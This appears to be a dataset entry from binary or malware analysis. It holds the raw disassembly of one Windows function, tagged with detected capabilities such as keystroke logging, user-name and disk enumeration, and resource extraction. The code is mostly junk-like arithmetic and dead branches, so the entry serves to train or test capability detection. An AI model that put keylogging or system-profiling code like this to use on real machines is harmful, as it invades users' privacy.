Function at 0x10030889
Capabilities:
Accept command line arguments
Check os version
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes
Log keystrokes via polling
Parse pe header
Resume thread

Disassembly:
mov eax, 0x100833e4
call fcn.10081be0
mov eax, 0x13d4
call fcn.1007e390
push ebx
push esi
push edi
push 3
mov byte [ebp - 0x6d], dl
xor eax, eax
pop edx
mov dword [ebp - 0x40], edx
inc eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x3c], 0xbacd7953
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], 0xcbd94543
mov dword [ebp - 0x64], ecx
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x28], 0x15bb0028
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], eax
xor eax, eax
push 0xffffffffffffffff
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100308f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x810], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100308ea
dec dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ebx, dword [sym.imp.USER32.dll_PostMessageW]
jne 0x10030a03
mov eax, dword [ebp - 0x80c]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10030921
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
xor esi, esi
xor ecx, ecx
inc esi
cmp eax, esi
setle cl
cmp ecx, dword [ebp - 0x54]
jle 0x1003093e
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1003093e
mov edx, eax
jmp 0x10030944
xor edx, edx
xor esi, esi
inc edx
inc esi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x810], ecx
cmp ecx, dword [ebp - 0x50]
jge 0x10030a06
mov dword [ebp - 0x54], 0x28c2
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003098f
mov eax, dword [ebp - 0x4c]
mov ecx, esi
sub ecx, eax
cmp ecx, dword [ebp - 0x810]
jge 0x10030983
mov eax, dword [ebp - 0x808]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
cmp eax, esi
setg cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100309c0
push eax
push eax
push 0x21fb
call edi
push eax
call ebx
xor eax, eax
or esi, 0xffffffff
push 3
pop edx
mov dword [ebp - 0x40], edx
xor ecx, ecx
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xbacd7953
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], 0xcbd94543
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x28], 0x15bb0028
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x14], eax
jmp 0x10030ab0
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x9c0]
call fcn.10017b3d
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10030a3f
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c0]
call fcn.10017bc7
mov dword [eax], 0xd5bb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030a20
xor eax, eax
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], eax
jl 0x10030a61
push eax
lea ecx, [ebp - 0x9c0]
call fcn.10017bc7
push 0
dec dword [eax]
dec dword [ebp - 0x30]
pop eax
jns 0x10030a4b
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030a8b
push eax
call edi
push eax
push 0x1188
push 0x43e
push 0x6e0
push 0xc46
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
or esi, 0xffffffff
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
jmp 0x100309c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8ac], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10030aa3
dec dword [ebp - 0x30]
jne 0x10030b70
mov eax, dword [ebp - 0x8a8]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10030ace
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
xor esi, esi
xor ecx, ecx
inc esi
cmp eax, esi
setle cl
cmp ecx, dword [ebp - 0x54]
jle 0x10030aeb
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10030aeb
mov edx, eax
jmp 0x10030af1
xor edx, edx
xor esi, esi
inc edx
inc esi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x8ac], ecx
cmp ecx, dword [ebp - 0x50]
jge 0x10030b73
mov dword [ebp - 0x54], 0x28c2
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030b38
mov eax, dword [ebp - 0x4c]
mov ecx, esi
sub ecx, eax
cmp ecx, dword [ebp - 0x8ac]
jge 0x10030b2c
mov eax, dword [ebp - 0x8a4]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
cmp eax, esi
setg cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030c0f
push eax
push eax
push 0x21fb
call edi
push eax
call ebx
jmp 0x10030c0f
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0xbf4]
call fcn.10017b3d
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], eax
jge 0x10030bae
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbf4]
call fcn.10017bc7
mov dword [eax], 0xd5bb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030b91
push 2
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jl 0x10030bd1
push eax
lea ecx, [ebp - 0xbf4]
call fcn.10017bc7
push 0
dec dword [eax]
dec dword [ebp - 0x30]
pop eax
jns 0x10030bbb
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030bfb
push eax
call edi
push eax
push 0x1188
push 0x43e
push 0x6e0
push 0xc46
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
or eax, 0xffffffff
lea ecx, [ebp - 0xbf4]
mov dword [ebp - 4], eax
call fcn.10017bc2
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x170]
call fcn.10017b3d
push 2
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], 0x90ce96f8
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x54], 0xadd5d088
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x54], 0x39d3cd3
mov dword [ebp - 0x28], 0x688cdf2a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10030c74
push dword [ebp - 0x14]
lea ecx, [ebp - 0x170]
call fcn.10017bc7
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030c55
xor eax, eax
push eax
lea ecx, [ebp - 0x170]
call fcn.10017bc7
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x170]
xor eax, eax
push eax
call fcn.10017bc7
mov esi, eax
lea ecx, [ebp - 0x170]
xor eax, eax
push eax
call fcn.10017bc7
mov esi, dword [esi]
lea ecx, [ebp - 0x170]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.10017bc7
xor ebx, ebx
lea ecx, [ebp - 0x170]
cmp esi, dword [eax]
setne bl
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
xor eax, eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x170]
push eax
call fcn.10017bc7
lea ecx, [ebp - 0x170]
mov esi, dword [eax]
xor eax, eax
imul esi, dword [ebp - 0x28]
push eax
call fcn.10017bc7
xor ecx, ecx
push 0xfffffffffffffffe
pop ebx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x44]
setne cl
add eax, ecx
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x170]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp ecx, dword [eax]
setne dl
xor eax, eax
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], eax
jne 0x10030d38
cmp dword [ebp - 0x3c], eax
jne 0x10030d38
mov esi, eax
jmp 0x10030d3b
xor esi, esi
inc esi
push eax
lea ecx, [ebp - 0x170]
call fcn.10017bc7
xor ecx, ecx
mov eax, dword [eax]
imul eax, esi
cmp eax, 0xfffffffc
setne cl
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x170]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
setle dl
sub edx, 0xfff
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x170]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x54]
xor edx, edx
sub ecx, 0x9efe
cmp ecx, dword [eax]
lea ecx, [ebp - 0x170]
setle dl
or esi, 0xffffffff
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], esi
call fcn.10017bc2
push 3
mov dword [ebp - 0x2c], 0xfffffff8
lea ecx, [ebp - 0xd64]
mov dword [ebp - 0x2c], ebx
pop ebx
push ebx
call fcn.10017b3d
mov dword [ebp - 4], ebx
mov eax, 0xffff
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030e06
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd64]
call fcn.10017bc7
mov dword [eax], 0x6158d32f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030de8
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030e16
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
dec dword [ebp - 0x54]
lea ecx, [ebp - 0xd64]
mov dword [ebp - 4], esi
call fcn.10017bc2
mov dword [ebp - 0x60], ebx
xor eax, eax
mov dword [ebp - 0x44], eax
mov ecx, 0x5b40194d
mov dword [ebp - 0x50], 0xbacd7953
mov dword [ebp - 0x18], 0x7cb3f4f4
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x760], ecx
mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x758], ecx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x54], 0x53ebff78
mov dword [ebp - 0x4c], 0x31937da8
mov dword [ebp - 0x14], eax
inc eax
cmp dword [ebp - 0x14], eax
jge 0x10030e92
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x650], 0x61f66568
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030e78
xor eax, eax
inc eax
xor ecx, ecx
cmp dword [ebp - 0x18], ecx
je 0x10030ed2
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jge 0x10030eb8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2a8], 0xb8f5f499
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030ea1
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030ec8
dec dword [ebp - 0x2a8]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10030ebf
jmp 0x100310f5
mov dword [ebp - 0x1c], 0xf5e4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x3c], 0x2e43232a
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jge 0x10030f05
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x308], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10030eee
mov dword [ebp - 0x18], 0xfffffff4
cmp dword [ebp - 0x18], 0xfffffff2
jge 0x100310e2
xor esi, esi
inc esi
mov dword [ebp - 0x20], 0x59c4
mov dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10030f45
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10030f45
mov edi, eax
jmp 0x10030f4b
xor edi, edi
xor esi, esi
inc edi
inc esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x1c], 0x38eb
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10030f68
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x30], 0x42f3
xor edx, edx
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setge dl
sub edx, 0x4def
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
add eax, 0x725fc1c6
add eax, edi
jne 0x10031000
cmp dword [ebp - 0x1c], eax
jne 0x10031002
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x308]
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x650], 0xd72d
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x24], 0xcc276dde
test eax, eax
je 0x10030fd6
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10030fd8
xor esi, esi
inc eax
inc esi
jmp 0x10030fd8
xor eax, eax
mov dword [ebp - 0x4c], eax
xor edx, edx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setg dl
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x28], edx
jmp 0x100310cc
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x14], eax
je 0x10031033
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x764], eax
test eax, eax
je 0x10031031
xor edi, edi
xor esi, esi
inc edi
inc esi
jmp 0x10031035
xor eax, eax
mov edi, eax
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], esi
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setg cl
cmp ecx, 0xfa3ce724
sbb edx, edx
xor ecx, ecx
add edx, 0xa
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x77fc3fe7
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x308]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
sub ecx, dword [ebp - 0x18]
cmp edi, ecx
setle al
sub eax, 0x7874d2d
add eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, eax, 0x6eb5
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
neg edx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x14], eax
jne 0x100310d9
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff2
jl 0x10030f19
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
or esi, 0xffffffff
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100310f5
call edi
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor eax, eax
lea ecx, [ebp - 0xf2c]
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x2c], 0xc77dcda7
mov dword [ebp - 0x2c], 0x7b09b37d
push eax
call fcn.10017b3d
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x54], 0xfffffff9
push 2
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x1003115c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x324], 0x3342eb9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031144
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x10031184
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf2c]
call fcn.10017bc7
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10031165
xor eax, eax
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], eax
jl 0x1003127a
mov dword [ebp - 0x30], 0x82eac453
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x324]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x100311d5
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031271
push eax
push 0x1937
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x10031271
push 4
lea ecx, [ebp - 0x6a8]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x14], eax
jmp 0x100311fe
push dword [ebp - 0x14]
call fcn.10017bc7
mov dword [eax], 0x6c902daf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0x6a8]
jl 0x100311ed
push ebx
call fcn.10017bc7
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10031244
push ebx
lea ecx, [ebp - 0x6a8]
call fcn.10017bc7
xor eax, eax
cmp dword [ebp - 0x324], eax
jne 0x10031232
cmp dword [ebp - 0x30], eax
je 0x10031235
xor eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x320]
mov eax, dword [ebp - 0x324]
push ebx
lea ecx, [ebp - 0x6a8]
call fcn.10017bc7
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x6a8]
mov eax, dword [ebp + eax*4 - 0x324]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 4
call fcn.10017bc2
dec dword [ebp - 0x20]
jns 0x10031194
inc dword [ebp - 0x54]
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
mov dword [ebp - 0x34], 0xcbd94543
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x18], 0xc0001115
push ebx
call fcn.10017b3d
push 6
pop edi
xor eax, eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], eax
jmp 0x100312c8
push dword [ebp - 0x14]
call fcn.10017bc7
mov dword [eax], 7
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x360]
cmp dword [ebp - 0x14], ebx
jl 0x100312b7
mov eax, dword [ebp - 0x18]
xor esi, esi
neg eax
xor ebx, ebx
inc esi
cmp eax, esi
mov eax, dword [ebp - 0x18]
setge bl
sub ebx, eax
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x18]
cmp ebx, eax
sete cl
cmp ecx, dword [ebp - 0x18]
jg 0x10031313
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10031313
push eax
lea ecx, [ebp - 0x360]
call fcn.10017bc7
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003133e
push eax
lea ecx, [ebp - 0x360]
call fcn.10017bc7
cmp dword [eax], 0
je 0x1003133c
xor ecx, ecx
inc ecx
jmp 0x10031340
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
add eax, ecx
je 0x1003138a
mov dword [ebp - 0x2c], 0xc8f
lea ecx, [ebp - 0x360]
xor eax, eax
mov dword [ebp - 0x2c], 0x8bbd188
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x54], 0xbe26b5cf
push eax
call fcn.10017bc7
mov esi, eax
lea ecx, [ebp - 0x360]
xor eax, eax
push eax
call fcn.10017bc7
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x54]
jmp 0x1003139b
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x1003139b
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
or esi, 0xffffffff
lea ecx, [ebp - 0x360]
mov dword [ebp - 4], esi
call fcn.10017bc2
mov dword [ebp - 0x48], 0x15bb0028
lea ecx, [ebp - 0x39c]
push 4
call fcn.10017b3d
mov dword [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x1c], 0xfebaeef2
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x100313fe
push dword [ebp - 0x14]
lea ecx, [ebp - 0x39c]
call fcn.10017bc7
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100313e3
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x1003169e
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x18], 0x81448718
push dword [ebp - 0x1c]
call fcn.10017bc7
cmp dword [eax], 0
je 0x100315be
mov dword [ebp - 0x18], 1
xor eax, eax
mov dword [ebp - 0x28], 0x50169ff9
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10031662
push 1
lea ecx, [ebp - 0x1f8]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1003147b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.10017bc7
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10031460
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003148f
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
xor eax, eax
push eax
lea ecx, [ebp - 0x1f8]
call fcn.10017bc7
lea ecx, [ebp - 0x1f8]
mov dword [eax], ebx
xor eax, eax
push eax
call fcn.10017bc7
cmp dword [eax], 0
jl 0x100315a1
xor esi, esi
inc esi
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x54], 0xb51404fc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100314e3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9e4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100314cb
xor eax, eax
push eax
lea ecx, [ebp - 0x1f8]
call fcn.10017bc7
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1f8]
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x54], eax
xor eax, eax
push eax
call fcn.10017bc7
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x1f8]
dec dword [ebp - 0x9dc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10017bc7
push ebx
lea ecx, [ebp - 0x39c]
call fcn.10017bc7
mov ecx, dword [ebp - 0x18]
xor edx, edx
test ecx, ecx
setns dl
imul edx, dword [eax]
test edx, edx
je 0x1003154f
mov eax, dword [ebp - 0x18]
xor eax, eax
lea ecx, [ebp - 0x1f8]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x28]
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, ebx
setle dl
imul ecx, edx, 0xf0bb
add ecx, dword [eax]
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x1f8]
push eax
call fcn.10017bc7
lea ecx, [ebp - 0x1f8]
dec dword [eax]
xor eax, eax
push eax
call fcn.10017bc7
cmp dword [eax], 0
jge 0x100314b7
or esi, 0xffffffff
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 7
call fcn.10017bc2
dec dword [ebp - 0x18]
jns 0x10031444
jmp 0x10031660
mov dword [ebp - 0x58], edi
xor eax, eax
mov dword [ebp - 0x3c], 1
cmp dword [ebp - 0x58], eax
jne 0x10031601
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x39c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push ebx
call fcn.10017bc7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x39c]
call fcn.10017bc7
push 2
pop eax
push eax
lea ecx, [ebp - 0x39c]
call fcn.10017bc7
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x18], eax
jge 0x10031613
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10031615
inc eax
jmp 0x10031615
xor eax, eax
mov edx, dword [ebp - 0x18]
imul edx, eax
mov eax, dword [ebp - 0x18]
push 8
pop ecx
sub ecx, eax
xor eax, eax
cmp ecx, edx
push 0xfffffffffffffffa
setne al
xor edx, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x54]
sub ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
pop eax
setl cl
sub ecx, 0x69c0
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031696
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x20], eax
jmp 0x1003168e
cmp dword [ebp - 0x28], eax
jne 0x10031693
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003168b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10031673
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10031667
inc dword [ebp - 0x1c]
lea ecx, [ebp - 0x39c]
cmp dword [ebp - 0x1c], ebx
jle 0x10031409
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
lea ecx, [ebp - 0x784]
mov dword [ebp - 0x4c], eax
xor edi, edi
inc edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x18], 0x81c
mov dword [ebp - 0x30], 0x1e0bec03
push edi
call fcn.10017b3d
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0x38e70e9e
mov dword [ebp - 0x2c], 0x84a57988
mov dword [ebp - 0x2c], 0xde45221b
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x40], 0x3cec3345
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x58], 0x23552e29
mov dword [ebp - 0x54], 0xfffffffb
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10031745
push dword [ebp - 0x24]
lea ecx, [ebp - 0x784]
call fcn.10017bc7
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003172b
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003175b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x136c], 0
